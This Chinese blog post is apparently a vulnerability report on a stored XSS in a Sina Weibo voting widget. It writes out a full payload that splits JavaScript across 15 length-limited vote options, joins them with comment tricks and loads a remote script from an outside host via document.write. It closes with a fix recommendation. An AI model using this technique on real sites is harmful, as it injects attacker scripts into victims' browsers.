涛涛电脑知识网
在4,5年前,由于QQ空间对用户昵称没过滤,但是QQ昵称的长度又被限制在很短的字符,也没办法插入很多内容,当时我就自己想到了这个方法,然后成功攻击了腾讯官方的QQ空间的留言板(那时候年少无知,马上被和谐了,当时觉得挺有意思的)。在此之后,一直没有再遇到到可以使用这个方法的场景。今天正好在新浪微博某官方应用中碰到了,就分享给大家。涛涛电脑知识网
1. 问题描述
问题页面:?vid=1772503
问题原因:图片类型投票时,在投票组件(widget)中,输出图片描述未进行正确的过滤,导致XSS
2. 问题是小问题,下面才是重点,利用过程。
2.1 首先查看?vid=1764421页面的输出内容。
可以发现,实际可以被注入的地方为 <img title="{图片描述未过滤}"></img>
2.2 但是图片描述被限定为20个字符,之前Wooyun已经有人提交过选项内容长度没有在服务器端过滤的问题,经测试该问题已经修复,如下图:
如何利用这20个字符插入我们的代码呢?
首先想到的,还是 <img title=""onload="eval(xxxxx)"></img>
其中xxxxx是可控的变量,而且这个变量的长度只能在5之内,经过查找没有我们可控的变量,唯一一个可能被控的$CONFIG$都已经超出长度了。只有eval(name)可以用了!
2.3 但是eval(name)向来不是我推崇的方式。我们还得想办法!
这个时候,我第二想到的,就是我若干年前在QQ空间使用过的一个方法。如下:
因为投票实际上可以写入最多15个投票选项。
输出的HTML代码大致如下:
<img title="[可插入内容]"></img>
<img title="[可插入内容]"></img>
<img title="[可插入内容]"></img>
<img title="[可插入内容]"></img>
....(一共15个)
从而我们可以构造一个比较有意思的利用方式,模型如下:
<img title=""><script>/*"></img>
<img title="*/var a='xxxxxxx';/*"></img>
<img title="*/var b='yyyyyyy';/*"></img>
<img title="*/eval(a+b);/*"></img>
<img title="*/</script><b x=""></img>
2.4 上面的这个模型,会将之间的HTML代码通过/* ..... */ 的方式均变为注释。
2.5 基于以上,我们可以构造以下完整的利用模型,不能超过15个短句,投票数目有限制。其次无法调用新浪网页自带的函数。
"><script>/*
*/var l='\x3C';/*
*/var n='\x3E';/*
*/var b='xsst.si';/*
*/var c='naapp.c';/*
*/var d='om/m.js';/*
*/var e='script ';/*
*/var f=l+e+'src';/*
*/var g=l+'/'+e;/*
*/var x=b+c+d;/*
*/var y=f+'=//'+x;/*
*/var z=y+n+g+n;/*
*/var j=document;/*
*/j.write(z);/*
*/</script><"
2.6 然后我们进入投票创建页面:?tab=pic
一条一条的输入我们构造好的JS代码!
2.7 等待投票审核通过后,我们查看投票的widget页面 ?vid=1772503
修复方案:
对 ?vid=1772503 里的图片 title属性中的【图片描述】进行输出过滤!